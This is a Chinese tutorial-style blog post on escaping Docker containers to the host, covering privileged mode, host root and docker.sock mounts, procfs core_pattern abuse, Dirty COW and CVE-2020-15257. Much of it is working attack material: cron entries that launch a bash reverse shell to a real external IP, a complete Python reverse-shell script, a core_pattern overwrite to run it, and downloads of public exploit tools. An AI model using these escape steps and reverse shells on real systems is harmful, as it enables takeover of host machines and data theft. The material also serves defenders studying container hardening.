关于Docker逃逸

关于Docker逃逸


文章目录

  • 关于Docker逃逸
  • 前言
  • 一、判断是否为docker容器?
  • 二、privileged特权模式启动容器逃逸
  • 三、 Docker Remote API未授权访问逃逸
  • 四、危险挂载导致Docker逃逸
  • 五、危险挂载Docker Socket逃逸
  • 六、 挂载宿主机procfs逃逸
  • 七、脏牛漏洞来进行docker逃逸
  • 八、CVE-2020-15257逃逸
  • 总结


前言

Dcoker作为开源容器引擎,作为一种操作系统级别虚拟化技术,已经被广泛应用于比赛,生产测试环境中,究其原因是Docker解决了环境部署复杂的问题,使应用程序能够进行打包,那么在渗透中,docker逃逸也必不可少。


一、判断是否为docker容器?

  1. 直接查看目录是否有docker产生的.dockerenv,dockerpoint等文件
    在这里插入图片描述

  2. 查看/proc/self/cgroup是否出现docker标志
    file

  3. 查看是否存在/etc/machine-id,一般docker没有
    file

二、privileged特权模式启动容器逃逸

  1. 当利用特权模式启动容器时,docker管理员可以通过mount命令将外部宿主机的磁盘设备挂载进容器内,获取宿主机的文件读写权限,然后可以通过crontab计划等逃逸到宿主机。

  2. 判断是否特全模式启动

cat /proc/self/status |grep Cap,对应掩码为0000003fffffffff

在这里插入图片描述

  1. 在docker中创建目录,然后将宿主机的磁盘挂载到新建的目录中
    file
  2. 将反弹shell等写入计划任务
echo "bash -i >& /dev/tcp/120.79.29.170/4444 0>&1" >/aiwin/aiwin.sh
echo "* * * * * root bash /aiwin.sh" >> /aiwin/etc/crontab

在这里插入图片描述

  1. 反弹shell成功
    在这里插入图片描述
    file

原理十分简单,特权模式使得宿主机磁盘被挂载到了docker的目录,修改docker目录中的/etc/crontab相当于修改了宿主机的/etc/crontab

三、 Docker Remote API未授权访问逃逸

  1. docker swarm用于管理Docker集群,docker节点上会开放一个TCP端口2375,默认绑定0.0.0.0,导致了任何人都开源访问,进而控制docker环境。
  2. 使用vulhub的漏洞环境
cd vulhub-master/docker/unauthorized-rce
docker-compose build
docker-compose up -d

这里启动不成功,不知道为什么,但是原理就是通过docker利用tcp连接访问2375端口,然后从2375端口中拉取镜像,再利用特权模式启动,最后再通过特权模式写shell进入宿主机,进而完成逃逸,主要原因是2375管理端口能被任何人使用。

四、危险挂载导致Docker逃逸

这里的危险挂载指的是将宿主机的根目录挂载进了docker机中,使得docker能够直接操作宿主机的文件,导致逃逸,跟特权模式原理相似。

docker run -itd -v /:/aiwin name /bin/bash

file

  1. docker机的aiwin目录就是宿主机的根目录
    在这里插入图片描述

  2. 直接修改/etc/crontab文件写入反弹shell
    在这里插入图片描述

  3. 反弹shell成功
    file

五、危险挂载Docker Socket逃逸

Docker采用的是C/S架构即客户端服务端格式,可以通过以下命令操作目标的docker。
unix:///var/run/docker.sock
tcp://host:port
fd://socketfd
造成逃逸的原因是将宿主机的/var/run/docker.sock文件挂载到docker容器中,导致docker容器中可以操作宿主机的docker,进而能新创建docker从而将根目录挂载到新创建的docker中造成逃逸。

  1. 将/var/run/docker.sock挂载到docker容器中,此时docker容器中会出现/run/docker.sock文件
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash
  1. 在docker容器中安装docker
    在这里插入图片描述
apt-get update
apt-get install docker.io
  1. 在docker容器中使用命令查看宿主机的docker镜像
docker -H unix://var/run/docker.sock images 

file

  1. 在docker容器中使用命令再允许一个docker容器,并将根目录挂载到docker容器目录中,写shell到定时计划
docker -H unix://var/run/docker.sock run -v /:/aiwin -it ubuntu:16.04 /bin/bash

file
5. 写shell与上面一样

六、 挂载宿主机procfs逃逸

procfs中/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式,当文件中首字符是管道符|,该行剩余内容被当作脚本解释执行,从而实现docker逃逸,触发条件是进程崩溃。

  1. 启动容器,将/proc/sys/kernel/core_pattern挂载进容器,如果找到两个core_pattern,那么可能就是挂载了宿主机的procfs
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern 
  1. 搜索docker容器在宿主机的绝对路径,workdir即是
    file
  2. python脚本反弹shell
import  os
import pty
import socket
lhost = "120.79.29.170"
lport = 4444
def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((lhost, lport))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   os.putenv("HISTFILE", '/dev/null')
   pty.spawn("/bin/bash")
   s.close()
if __name__ == "__main__":
   main()
  1. 修改/host/proc/sys/kernel/core_pattern从而修改掉/proc/sys/kernel/core_pattern文件,以管道符开头,使得python脚本被执行
chmod 777 /tmp/.t.py
echo -e "|/绝对路径/merged/脚本位置 \rcore    " >  /host/proc/sys/kernel/core_pattern

file
5. 创建使容器崩溃的程序,编译运行,反弹shell成功。


#include<stdio.h>
int main(void)  {
   int *a  = NULL;
   *a = 1;
   return 0;
}

简单的NULL陷阱,没有为a开辟内存又给a赋值,使得程序崩溃。
file
在这里插入图片描述

七、脏牛漏洞来进行docker逃逸

  1. 脏牛漏洞的成因是get_user_page内核函数在处理Copy-on-Write过程时,可能产生竞态条件,导致出现了能够写数据到进程空间只读内存区域的机会。

  2. linux中存在VDSO小型共享库,能将内核自动映射到用户程序的地址空间,即将内核函数映射到内存。

  3. 当linux存在脏牛漏洞时,我们可以利用脏牛漏洞获取到内存的写权限,便可以写入shellcode到VDSO中,使得调用正常函数时执行shellcode,进而反弹shell,从而实现dokcer逃逸。

  4. 拉取Ubuntu14.04.5版本进行复现,存在脏牛漏洞

git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make

file
5. 执行文件反弹shell,这里虽然显示失败了,但是反弹shell却成功了
file
在这里插入图片描述

八、CVE-2020-15257逃逸

在host模式下启动时,容器和host共享一套Network,且内部UID为0时,使得容器中的程序可以访问宿主的 containerd 控制API,导致逃逸。
影响版本
containerd < 1.4.3
containerd < 1.3.9

  1. 下载指定的docker版本,使用–neit=host启动镜像
docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash
docker exec -it 5be3ed60f152 /bin/bash
  1. 使用wget下载exp并解压
cd /tmp
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
  1. 执行exp即可反弹shell
    在这里插入图片描述

总结

总的来说,docker逃逸大部分原因都是配置出现的错误,导致能够在docker机里面直接修改宿主机的一些文件,包括挂载了socket、procfs、/等,只有少部分是由于内核漏洞导致的,所以处理好配置问题,docker逃逸应该挺难。

参考文章

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/3503.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

蓝桥杯C/C++VIP试题每日一练之矩形面积交

💛作者主页:静Yu 🧡简介:CSDN全栈优质创作者、华为云享专家、阿里云社区博客专家,前端知识交流社区创建者 💛社区地址:前端知识交流社区 🧡博主的个人博客:静Yu的个人博客 🧡博主的个人笔记本:前端面试题 个人笔记本只记录前端领域的面试题目,项目总结,面试技…

Qt容器学习

Qt容器Qt容器主要优点就是在所有的平台上的运行都表现的一致,并且它们都是隐含共享的.Qt容器的另外一个主要特征就是易于使用的迭代器类,它们可以利用QDataStream变成数据流,而且他们通常可以使用执行文件中的代码量比相应的STL类中的要少&#xff0e;最后&#xff31;t/Embedd…

动态规划---线性dp和区间dp

动态规划(三) 目录动态规划(三)一&#xff1a;线性DP1.数字三角形1.1数字三角形题目1.2代码思路1.3代码实现(正序and倒序)2.最长上升子序列2.1最长上升子序列题目2.2代码思路2.3代码实现3.最长公共子序列3.1最长公共子序列题目3.2代码思路3.3代码实现4.石子合并4.1题目如下4.2代…

论文解读:Less is More: Learning Highlight Detection from Video Duration

引言 高亮检测有可能极大地简化视频浏览&#xff0c;但现有的方法往往受到昂贵的监督要求的影响&#xff0c;人类观众必须手动识别训练视频中的高亮部分。我们提出了一种可扩展的无监督解决方案&#xff0c;利用视频时长作为隐式监督信号。我们的关键见解是&#xff0c;来自较…

【lwIP(第三章)】内存管理

目录一、内存管理简介二、lwIP内存堆和内存池应用三、lwIP内存堆简介1. First Fit算法2. lwIP内存堆原理解析2.1 mem_init程序解析2.2 mem_malloc程序解析2.3 mem_free程序解析四、lwIP内存池简介1. 实现lwIP内存池的文件2. lwIP内存池函数2.1 memp_init()2.2 memp_malloc()2.3…

数据迁移工具

1.Kettle Kettle是一款国外开源的ETL工具,纯Java编写,绿色无需安装,数据抽取高效稳定 (数据迁移工具)。 Kettle 中有两种脚本文件,transformation 和 job,transformation 完成针对数据的基础转换,job 则完成整个工作流的控制。 Kettle 中文名称叫水壶,该项目的主程序…

SpringBoot整合Redis、以及缓存穿透、缓存雪崩、缓存击穿的理解分布式情况下如何添加分布式锁 【续篇】

文章目录前言1、分布式情况下如何加锁2、具体实现过程3、测试3.1 一个服务按照多个端口同时启动3.2 使用jmeter进行压测前言 上一篇实现了单体应用下如何上锁,这一篇主要说明如何在分布式场景下上锁 上一篇地址:加锁 1、分布式情况下如何加锁 需要注意的点是: 在上锁和释放…

Android开发-Android UI与布局

01 Android UI 1.1 UI 用户界面(User Interface&#xff0c;简称 UI&#xff0c;亦称使用者界面)是系统和用户之间进行交互和信息交换的媒介&#xff0c;它实现信息的内部形式与人类可以接受形式之间的转换。软件设计可分为两个部分&#xff1a;编码设计与UI设计。 1.2 Andr…

【数据结构与算法】堆与堆排序

目录一.堆的实现1.堆的概念2.堆的代码实现二.堆排序的讲解一.堆的实现 1.堆的概念 堆是一种数据结构&#xff0c;首先它总是一颗完全二叉树(因为堆适合表示完全二叉树)&#xff0c;在逻辑上堆是一颗完全二叉树&#xff0c;真正实现上是使用数组来实现的。根据不同的规则(任意…

OpenMV快速上手 | OpenMV硬件版本概述及HelloWorld

文章目录一、OpenMV1. 什么是OpenMV2. OpenMV版本2.1. OpenMV1&#xff08;M4 V1&#xff09;2.2. OpemMV2&#xff08;M4 V2&#xff09;2.3. OpenMV3&#xff08;M7&#xff09;2.4. OpenMV4&#xff08;H7&#xff09;二、OpenMV开发环境搭建三、hello world1. 连接OpenMV2.…

AtCoder Beginner Contest 295——A-D讲解

蒟蒻来讲题&#xff0c;还望大家喜。若哪有问题&#xff0c;大家尽可提&#xff01; Hello, 大家好哇&#xff01;本初中生蒟蒻讲解一下AtCoder Beginner Contest 295这场比赛的A-D题&#xff01; A - Probably English Problem Statement You are given NNN strings W1,W2,…

开关电源Y电容放置的位置

Y电容&#xff0c;是我们工程师做开关电源设计时都要接触到的一个非常关键的元器件&#xff0c;它对EMI的贡献是相当的大的&#xff0c;但是它是一个较难把控的元器件&#xff0c;原理上并没有那么直观易懂&#xff0c;在EMI传播路径中需要联系到很多的寄生参数才能够去分析。 …

Python和Excel的完美结合:常用操作汇总(案例详析)

在以前&#xff0c;商业分析对应的英文单词是Business Analysis&#xff0c;大家用的分析工具是Excel&#xff0c;后来数据量大了&#xff0c;Excel应付不过来了&#xff08;Excel最大支持行数为1048576行&#xff09;&#xff0c;人们开始转向python和R这样的分析工具了&#…

JNI原理及常用方法概述

1.1 JNI(Java Native Interface) 提供一种Java字节码调用C/C的解决方案&#xff0c;JNI描述的是一种技术。 1.2 NDK(Native Development Kit) Android NDK 是一组允许您将 C 或 C&#xff08;“原生代码”&#xff09;嵌入到 Android 应用中的工具&#xff0c;NDK描述的是工具集…

python迭代器详解

不懂的问题&#xff1a;什么是协变、逆变&#xff1f;渐进式&#xff1f; _T_co TypeVar("_T_co", covariantTrue) # Any type covariant containers.作者&#xff1a;20岁爱吃必胜客&#xff08;坤制作人&#xff09;&#xff0c;近十年开发经验, 跨域学习者&…

【Docker】Network网络

文章目录网络情况查看宿主机网络情况 ifconfig查看docker网络模式命令 docker network ls常用基本命令查看网络 docker network ls查看网络源数据 docker network inspect XXX网络名字创建网络 docker network create test_network删除网络 docker network rm XXX网络名字netwo…

Kotlin~Adapter适配器模式

概念 Adapter&#xff08;Wrapper&#xff09; Pattern&#xff0c;连接两个不兼容的接口&#xff0c;让接口不兼容的对象能够相互合作。 适配器中的角色 请求者Client&#xff1a;调用者目标Target&#xff1a;定义了Client要使用的功能转化对象Adaptee&#xff1a; 需要适…

ROC-RK3588S-PC (Android 12) 看门狗的使用

&#x1f347; 博主主页&#xff1a; 【Systemcall小酒屋】&#x1f347; 博主追寻&#xff1a;热衷于用简单的案例讲述复杂的技术&#xff0c;“假传万卷书&#xff0c;真传一案例”&#xff0c;这是林群院士说过的一句话&#xff0c;另外“成就是最好的老师”&#xff0c;技术…

走进二叉树的世界 ———性质讲解

二叉树的性质和证明前言1.二叉树的概念和结构特殊的二叉树&#xff1a;二叉树的性质前言 本篇博客主要讲述的是有关二叉树的一些概念&#xff0c;性质以及部分性质的相关证明&#xff0c;如果大伙发现了啥错误&#xff0c;可以在评论区指出&#x1f618;&#x1f618; 1.二叉树…

Verilog之小规模经典电路设计

verilog语句执行顺序 每个语句块&#xff0c;是事件(event)触发执行的主要分为 连续赋值语句assign过程赋值语句always, initial(只执行一次) 连续和过程之间是并行执行的&#xff0c;只要满足出发条件即可assign是在后面的输入发生变化时进行执行always是在敏感列表发生变化时…